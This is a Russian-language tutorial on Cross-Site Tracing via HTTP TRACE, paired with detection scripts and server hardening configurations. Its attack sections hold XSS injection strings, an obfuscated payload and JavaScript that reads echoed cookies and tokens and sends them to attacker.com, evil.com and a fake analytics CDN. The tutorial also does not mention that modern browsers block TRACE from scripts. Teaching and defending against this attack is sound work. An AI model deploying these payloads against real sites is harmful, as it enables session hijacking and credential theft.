HTTP TRACE Атака: Пошаговое Руководство

Home HTTP TRACE Атака: Пошаговое Руководство
70 of websites face immediate risk of hacking in 2024

HTTP TRACE Атака: Пошаговое Руководство

Полное техническое объяснение уязвимости Cross-Site Tracing (XST) и методов защиты

1. Что такое HTTP TRACE метод

Основы HTTP методов

HTTP протокол поддерживает различные методы запросов:

Стандартные методы:

  • GET – получение данных
  • POST – отправка данных
  • PUT – обновление данных
  • DELETE – удаление данных
  • HEAD – получение заголовков
  • OPTIONS – доступные методы
  • TRACE – диагностический метод ← Проблема здесь

Назначение TRACE метода

HTTP TRACE был создан для диагностики и отладки веб-серверов.

Официальное назначение (RFC 2616):

Метод TRACE используется для вызова удаленного loop-back 
(петли обратной связи) запроса сообщения на уровне приложения.

Простыми словами: TRACE возвращает обратно клиенту всё, что сервер получил в запросе, включая все HTTP заголовки.

Как работает TRACE (легитимное использование)

Клиент отправляет:

TRACE / HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0
Cookie: sessionid=abc123
Authorization: Bearer token123

Сервер возвращает (эхо):

HTTP/1.1 200 OK
Content-Type: message/http

TRACE / HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0
Cookie: sessionid=abc123
Authorization: Bearer token123

Обратите внимание: Сервер возвращает ВСЁ, включая cookies и токены авторизации!

2. Теоретическая основа атаки

Проблема безопасности

Проблема возникает, когда TRACE комбинируется с Cross-Site Scripting (XSS).

Обычная защита от кражи cookies: Браузеры имеют Same-Origin Policy (SOP) – политику одинакового происхождения:

// JavaScript НЕ МОЖЕТ напрямую прочитать cookies с других доменов
// Это блокируется браузером
document.cookie; // Работает только для своего домена

Флаг HttpOnly:

Set-Cookie: sessionid=abc123; HttpOnly

Cookies с флагом HttpOnly не доступны для JavaScript:

document.cookie; // НЕ покажет HttpOnly cookies

НО! Метод TRACE обходит эту защиту!

Cross-Site Tracing (XST)

Идея атаки:

  1. Злоумышленник находит XSS уязвимость на сайте
  2. Внедряет JavaScript, который отправляет TRACE запрос
  3. Сервер возвращает весь запрос, включая HttpOnly cookies
  4. JavaScript читает ответ и отправляет cookies злоумышленнику

Ключевой момент: JavaScript не может прочитать HttpOnly cookies напрямую, но может прочитать их из ответа TRACE запроса!

3. Пошаговое объяснение атаки

Шаг 1: Предварительные условия

Что нужно для успешной атаки:

✓ Веб-сервер с включенным методом TRACE
✓ Наличие XSS уязвимости на целевом сайте
✓ Жертва должна быть аутентифицирована (иметь активную сессию)
✓ Браузер жертвы должен выполнить вредоносный JavaScript

Шаг 2: Подготовка атаки

Злоумышленник настраивает:

  1. Сервер для сбора украденных данных:
// Сервер злоумышленника: attacker.com
// Принимает украденные данные
app.post('/steal', (req, res) => {
    console.log('Украдено:', req.body.data);
    // Сохраняет cookies жертвы
});
  1. Вредоносный JavaScript код:
// Этот код будет внедрен через XSS
var xhr = new XMLHttpRequest();

// TRACE запрос к уязвимому серверу
xhr.open('TRACE', 'https://vulnerable-site.com/', true);

xhr.onreadystatechange = function() {
    if (xhr.readyState == 4) {
        // Получаем ответ с cookies
        var response = xhr.responseText;
        
        // Отправляем украденные данные злоумышленнику
        var steal = new XMLHttpRequest();
        steal.open('POST', 'https://attacker.com/steal', true);
        steal.setRequestHeader('Content-Type', 'application/json');
        steal.send(JSON.stringify({data: response}));
    }
};

xhr.send();

Шаг 3: Внедрение кода (через XSS)

Злоумышленник находит XSS уязвимость:

Пример 1: Reflected XSS

https://vulnerable-site.com/search?q=<script src="https://attacker.com/xst.js"></script>

Пример 2: Stored XSS

<!-- Комментарий пользователя в форуме -->
<img src=x onerror="eval(atob('dmFyIHhocj1uZXcgWE1MSHR0cFJlcXVlc3Q...'))">

Пример 3: DOM-based XSS

// Уязвимый код на сайте
var search = location.hash.substring(1);
document.write(search); // Небезопасно!

// URL атаки:
https://vulnerable-site.com/#<script>/* Вредоносный код */</script>

Шаг 4: Выполнение атаки

Последовательность событий:

1. Жертва переходит по ссылке:

https://vulnerable-site.com/page?id=<script src="https://attacker.com/xst.js"></script>

2. Браузер жертвы загружает и выполняет вредоносный скрипт:

// xst.js на сервере злоумышленника
(function() {
    var xhr = new XMLHttpRequest();
    xhr.open('TRACE', document.location.href, true);
    
    xhr.onload = function() {
        // Извлекаем cookies из ответа
        var cookies = xhr.responseText.match(/Cookie: (.+)/);
        
        if (cookies) {
            // Отправляем злоумышленнику
            navigator.sendBeacon(
                'https://attacker.com/collect',
                'cookies=' + encodeURIComponent(cookies[1])
            );
        }
    };
    
    xhr.send();
})();

3. Браузер отправляет TRACE запрос к vulnerable-site.com:

TRACE /page HTTP/1.1
Host: vulnerable-site.com
Cookie: sessionid=VICTIM_SESSION_ID; auth_token=SECRET_TOKEN
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)

4. Сервер возвращает запрос как есть:

HTTP/1.1 200 OK
Content-Type: message/http

TRACE /page HTTP/1.1
Host: vulnerable-site.com
Cookie: sessionid=VICTIM_SESSION_ID; auth_token=SECRET_TOKEN
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)

5. JavaScript читает ответ и извлекает cookies:

// responseText содержит весь запрос, включая HttpOnly cookies!
var response = xhr.responseText;
// "TRACE /page HTTP/1.1\r\nHost: vulnerable-site.com\r\n
//  Cookie: sessionid=VICTIM_SESSION_ID; auth_token=SECRET_TOKEN..."

6. Украденные данные отправляются злоумышленнику:

// Отправка на сервер злоумышленника
fetch('https://attacker.com/steal', {
    method: 'POST',
    body: JSON.stringify({
        victim_cookies: extracted_cookies,
        victim_url: document.location.href,
        timestamp: Date.now()
    })
});

Шаг 5: Использование украденных данных

Злоумышленник получает cookies и может:

  1. Захватить сессию жертвы (Session Hijacking):
GET /account HTTP/1.1
Host: vulnerable-site.com
Cookie: sessionid=VICTIM_SESSION_ID
  1. Получить доступ к аккаунту без пароля
  2. Выполнять действия от имени жертвы:
    • Просмотр конфиденциальной информации
    • Изменение данных аккаунта
    • Выполнение финансовых транзакций
    • Отправка сообщений

4. Практические примеры

Пример 1: Базовая XST атака

Сценарий: Форум с XSS уязвимостью в комментариях.

Вредоносный комментарий:

<img src=x onerror='
var x=new XMLHttpRequest();
x.open("TRACE",location.href,false);
x.send();
new Image().src="https://attacker.com/log?data="+encodeURIComponent(x.responseText);
'>

Что происходит:

  1. Жертва открывает страницу с комментарием
  2. Код выполняется
  3. TRACE запрос возвращает cookies
  4. Cookies отправляются на attacker.com через загрузку изображения

Пример 2: Продвинутая атака с обфускацией

Скрытый JavaScript:

<script>
// Base64 закодированный вредоносный код
eval(atob('dmFyIHg9bmV3IFhNTEh0dHBSZXF1ZXN0KCk7eC5vcGVuKCJUUkFDRSIsIi8iLHRydWUp...'));
</script>

Расшифрованный код:

var x=new XMLHttpRequest();
x.open("TRACE","/",true);
x.onload=function(){
    // Извлекаем Authorization заголовок
    var auth = x.responseText.match(/Authorization: Bearer (.+)/);
    if(auth) {
        // Отправляем JWT токен
        fetch('https://evil.com/collect', {
            method: 'POST',
            body: JSON.stringify({token: auth[1]})
        });
    }
};
x.send();

Пример 3: Реальный сценарий атаки

Целевой сайт: Корпоративный портал с SSO (Single Sign-On)

Вектор атаки: Stored XSS в профиле пользователя

Шаг 1: Злоумышленник создает вредоносный профиль

// В поле "О себе" злоумышленник вставляет:
<script src="https://cdn-legitimate-looking.com/analytics.js"></script>

Шаг 2: analytics.js содержит:

(function() {
    // Проверка, что это корпоративный домен
    if (location.hostname.endsWith('company.com')) {
        
        // TRACE атака для получения SSO токена
        var xhr = new XMLHttpRequest();
        xhr.open('TRACE', location.origin + '/api/user/profile', false);
        xhr.send();
        
        // Извлечение SSO токена из ответа
        var ssoToken = xhr.responseText.match(/X-SSO-Token: (.+)/);
        
        if (ssoToken) {
            // Отправка токена (замаскированная под аналитику)
            var img = new Image();
            img.src = 'https://cdn-legitimate-looking.com/pixel.gif?id=' + 
                      btoa(ssoToken[1]) + '&ref=' + document.referrer;
        }
    }
})();

Шаг 3: Результат

  • Любой сотрудник, просматривающий профиль злоумышленника, становится жертвой
  • SSO токены собираются автоматически
  • Злоумышленник получает доступ к корпоративным системам

5. Почему это опасно

Обход защиты HttpOnly

Нормальная ситуация (защищенная):

// JavaScript НЕ МОЖЕТ прочитать HttpOnly cookies
document.cookie; // Возвращает только не-HttpOnly cookies

// Попытка украсть cookies через XSS
var cookies = document.cookie;
sendToAttacker(cookies); // Получит только часть cookies

С TRACE атакой (обход защиты):

// TRACE возвращает ВСЕ cookies, включая HttpOnly
var xhr = new XMLHttpRequest();
xhr.open('TRACE', '/', false);
xhr.send();

// Теперь мы можем прочитать HttpOnly cookies из ответа!
var allCookies = xhr.responseText.match(/Cookie: (.+)/)[1];
sendToAttacker(allCookies); // Получаем ВСЁ, включая HttpOnly

Кража аутентификационных данных

Что может быть украдено:

  1. Session cookies: Cookie: PHPSESSID=abc123xyz; sessionid=secret_token
  2. Bearer токены: Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
  3. API ключи: X-API-Key: sk_live_51HqZ2bK...
  4. Custom заголовки безопасности: X-CSRF-Token: random_token_here X-Auth-Token: user_auth_token

Последствия успешной атаки

Для пользователя:

  • ✗ Полная компрометация аккаунта
  • ✗ Кража персональных данных
  • ✗ Несанкционированные транзакции
  • ✗ Потеря конфиденциальной информации

Для организации:

  • ✗ Массовая компрометация аккаунтов
  • ✗ Утечка данных клиентов
  • ✗ Нарушение комплаенса (GDPR, PCI-DSS)
  • ✗ Репутационный ущерб
  • ✗ Финансовые потери

6. Методы обнаружения уязвимости

Метод 1: Ручная проверка с curl

Простейший тест:

curl -X TRACE https://target-site.com/

Если уязвимо, ответ будет:

HTTP/1.1 200 OK
Content-Type: message/http

TRACE / HTTP/1.1
Host: target-site.com
User-Agent: curl/7.68.0
Accept: */*

Тест с cookies:

curl -X TRACE https://target-site.com/ \
     -H "Cookie: sessionid=test123" \
     -H "Authorization: Bearer token"

Проверка ответа:

# Если в ответе видны Cookie и Authorization - уязвимо!

Метод 2: Тестирование с browser developer tools

Chrome/Firefox DevTools:

  1. Откройте DevTools (F12)
  2. Перейдите на вкладку Console
  3. Выполните:
var xhr = new XMLHttpRequest();
xhr.open('TRACE', window.location.href, false);
xhr.send();
console.log(xhr.responseText);

Интерпретация результатов:

Уязвимо:

TRACE / HTTP/1.1
Host: example.com
Cookie: sessionid=abc123
...

Защищено:

HTTP/1.1 405 Method Not Allowed
Allow: GET, POST, HEAD

или

HTTP/1.1 501 Not Implemented

Метод 3: Автоматизированное сканирование

Nmap:

nmap --script http-trace -p 80,443 target-site.com

Nikto:

nikto -h https://target-site.com -Tuning 9

OWASP ZAP:

Tools → Active Scan → Configure
Enable: HTTP TRACE Method
Run scan

Burp Suite:

1. Intercept запрос
2. Изменить метод на TRACE
3. Forward
4. Анализировать ответ

Метод 4: Python скрипт для массового тестирования

import requests

def check_trace_vulnerability(url):
    """
    Проверяет уязвимость к TRACE атаке
    """
    try:
        # Отправляем TRACE запрос
        response = requests.request(
            method='TRACE',
            url=url,
            headers={
                'Cookie': 'test=value',
                'Authorization': 'Bearer test_token'
            },
            timeout=5
        )
        
        # Проверяем статус
        if response.status_code == 200:
            # Проверяем, содержит ли ответ наши заголовки
            if 'Cookie: test=value' in response.text:
                return {
                    'vulnerable': True,
                    'severity': 'HIGH',
                    'details': 'TRACE method enabled and echoes headers'
                }
        
        return {
            'vulnerable': False,
            'status_code': response.status_code
        }
        
    except Exception as e:
        return {
            'error': str(e)
        }

# Пример использования
urls = [
    'https://example.com',
    'https://api.example.com',
    'https://admin.example.com'
]

for url in urls:
    result = check_trace_vulnerability(url)
    print(f"{url}: {result}")

7. Способы защиты

Защита #1: Отключение TRACE метода

Это самая важная и эффективная мера защиты.

Apache

Метод 1: В конфигурации сервера

# httpd.conf или apache2.conf
TraceEnable off

Метод 2: В .htaccess

# Отключить TRACE и TRACK методы
<IfModule mod_rewrite.c>
    RewriteEngine On
    RewriteCond %{REQUEST_METHOD} ^(TRACE|TRACK)
    RewriteRule .* - [F]
</IfModule>

Метод 3: Через mod_security

# Блокировать TRACE через ModSecurity
SecRule REQUEST_METHOD "^(TRACE|TRACK)" \
    "phase:1,t:none,log,deny,status:405,id:1000001"

Проверка:

apache2ctl configtest
systemctl restart apache2

Nginx

В конфигурации server block:

server {
    listen 80;
    server_name example.com;
    
    # Запретить TRACE метод
    if ($request_method ~ ^(TRACE|TRACK)$) {
        return 405;
    }
    
    # Остальная конфигурация...
}

Альтернативный метод:

location / {
    # Разрешить только безопасные методы
    limit_except GET POST PUT DELETE HEAD OPTIONS {
        deny all;
    }
}

Проверка:

nginx -t
systemctl reload nginx

IIS (Microsoft)

Метод 1: Через web.config

<?xml version="1.0" encoding="UTF-8"?>
<configuration>
    <system.webServer>
        <security>
            <requestFiltering>
                <verbs>
                    <add verb="TRACE" allowed="false" />
                    <add verb="TRACK" allowed="false" />
                </verbs>
            </requestFiltering>
        </security>
    </system.webServer>
</configuration>

Метод 2: Через IIS Manager

1. Открыть IIS Manager
2. Выбрать сайт
3. Request Filtering → HTTP Verbs
4. Deny Verb: TRACE
5. Apply

Node.js / Express

const express = require('express');
const app = express();

// Middleware для блокировки TRACE
app.use((req, res, next) => {
    if (req.method === 'TRACE' || req.method === 'TRACK') {
        return res.status(405).send('Method Not Allowed');
    }
    next();
});

// Или через пакет helmet
const helmet = require('helmet');
app.use(helmet());

app.listen(3000);

Защита #2: Content Security Policy (CSP)

Ограничение выполнения скриптов:

Content-Security-Policy: 
    default-src 'self'; 
    script-src 'self' https://trusted-cdn.com; 
    connect-src 'self';

Запрет inline скриптов:

Content-Security-Policy: 
    script-src 'self' 'nonce-random123';

В HTML:

<meta http-equiv="Content-Security-Policy" 
      content="default-src 'self'; script-src 'self'">

Защита #3: XSS Prevention

Поскольку TRACE атака требует XSS, предотвращение XSS критически важно.

Input Validation:

// PHP пример
function sanitizeInput($data) {
    $data = trim($data);
    $data = stripslashes($data);
    $data = htmlspecialchars($data, ENT_QUOTES, 'UTF-8');
    return $data;
}

$userInput = sanitizeInput($_POST['comment']);

Output Encoding:

// JavaScript пример
function escapeHtml(unsafe) {
    return unsafe
        .replace(/&/g, "&amp;")
        .replace(/</g, "&lt;")
        .replace(/>/g, "&gt;")
        .replace(/"/g, "&quot;")
        .replace(/'/g, "&#039;");
}

element.textContent = userInput; // Безопасно
// НЕ используйте: element.innerHTML = userInput;

Использование фреймворков:

// React автоматически экранирует
<div>{userInput}</div> // Безопасно

// Vue.js автоматически экранирует
<div>{{ userInput }}</div> // Безопасно

Защита #4: Дополнительные заголовки безопасности

X-Content-Type-Options:

X-Content-Type-Options: nosniff

X-Frame-Options:

X-Frame-Options: SAMEORIGIN

X-XSS-Protection:

X-XSS-Protection: 1; mode=block

Strict-Transport-Security:

Strict-Transport-Security: max-age=31536000; includeSubDomains

Пример для Apache:

<IfModule mod_headers.c>
    Header always set X-Content-Type-Options "nosniff"
    Header always set X-Frame-Options "SAMEORIGIN"
    Header always set X-XSS-Protection "1; mode=block"
    Header always set Strict-Transport-Security "max-age=31536000"
</IfModule>

Защита #5: Web Application Firewall (WAF)

CloudFlare:

1. Включить WAF в dashboard
2. Managed Rules → OWASP Core Rule Set
3. Custom Rule: Block TRACE method

ModSecurity:

# Правило блокировки TRACE
SecRule REQUEST_METHOD "^TRACE$" \
    "id:1,phase:1,t:none,deny,log,msg:'TRACE method blocked'"

AWS WAF:

{
  "Name": "BlockTraceMethod",
  "Priority": 1,
  "Statement": {
    "ByteMatchStatement": {
      "FieldToMatch": {
        "Method": {}
      },
      "PositionalConstraint": "EXACTLY",
      "SearchString": "TRACE"
    }
  },
  "Action": {
    "Block": {}
  }
}

8. Тестирование защиты

Чек-лист проверки

После внедрения защиты, проверьте:

  • [ ] TRACE метод возвращает 405 Method Not Allowed
  • [ ] TRACK метод также заблокирован
  • [ ] Проверка на всех поддоменах
  • [ ] Проверка на всех портах (80, 443, 8080, etc.)
  • [ ] Проверка через разные пути (/api/, /admin/, etc.)
  • [ ] Логирование попыток использования TRACE

Скрипт комплексной проверки

#!/bin/bash

# comprehensive_trace_check.sh
# Проверка защиты от TRACE атаки

DOMAIN=$1
PORTS=(80 443 8080 8443)
PATHS=("/" "/api/" "/admin/" "/test/")

echo "Проверка $DOMAIN на уязвимость к TRACE атаке"
echo "=============================================="

for PORT in "${PORTS[@]}"; do
    echo ""
    echo "Проверка порта $PORT..."
    
    for PATH in "${PATHS[@]}"; do
        URL="http://$DOMAIN:$PORT$PATH"
        
        echo "  Тестирование: $URL"
        
        RESPONSE=$(curl -s -X TRACE "$URL" \
                   -H "Cookie: test=value" \
                   -H "Authorization: Bearer test" \
                   -w "\nHTTP_CODE:%{http_code}" \
                   -o /tmp/trace_response.txt)
        
        HTTP_CODE=$(echo "$RESPONSE" | grep "HTTP_CODE" | cut -d: -f2)
        
        if [ "$HTTP_CODE" == "200" ]; then
            if grep -q "Cookie: test=value" /tmp/trace_response.txt; then
                echo "    ❌ УЯЗВИМО! TRACE метод включен и отражает заголовки"
            else
                echo "    ⚠️  TRACE разрешен, но не отражает заголовки"
            fi
        elif [ "$HTTP_CODE" == "405" ]; then
            echo "    ✅ Защищено (405 Method Not Allowed)"
        elif [ "$HTTP_CODE" == "501" ]; then
            echo "    ✅ Защищено (501 Not Implemented)"
        else
            echo "    ℹ️  HTTP код: $HTTP_CODE"
        fi
    done
done

rm -f /tmp/trace_response.txt

Использование:

chmod +x comprehensive_trace_check.sh
./comprehensive_trace_check.sh example.com

9. Заключение и рекомендации

Критические меры (обязательны)

  1. Отключите TRACE метод на всех веб-серверах
  2. Исправьте XSS уязвимости (без них TRACE атака невозможна)
  3. Используйте HttpOnly флаг для всех session cookies
  4. Внедрите Content Security Policy

Лучшие практики

  1. Регулярное сканирование на уязвимости
  2. Мониторинг логов на попытки TRACE запросов
  3. Обучение разработчиков безопасной разработке
  4. Code review с фокусом на безопасность
  5. Penetration testing перед релизами

Комплексный подход к безопасности

TRACE атака – это только одна из многих угроз. Необходим комплексный подход:

Защита на уровне сервера:

  • Отключение опасных HTTP методов
  • Правильная конфигурация веб-сервера
  • Использование WAF

Защита на уровне приложения:

  • Валидация и санитизация input
  • Output encoding
  • Использование безопасных фреймворков

Защита на уровне сети:

  • HTTPS обязательно
  • Правильная настройка заголовков безопасности
  • Rate limiting

Дополнительные ресурсы

Стандарты и документация:

  • RFC 2616 – HTTP/1.1 Protocol
  • OWASP Testing Guide – Testing for HTTP Verb Tampering
  • CWE-693: Protection Mechanism Failure

Инструменты:

Эта информация предоставлена исключительно в образовательных целях для специалистов по информационной безопасности. Использование этих техник против систем без явного разрешения является незаконным.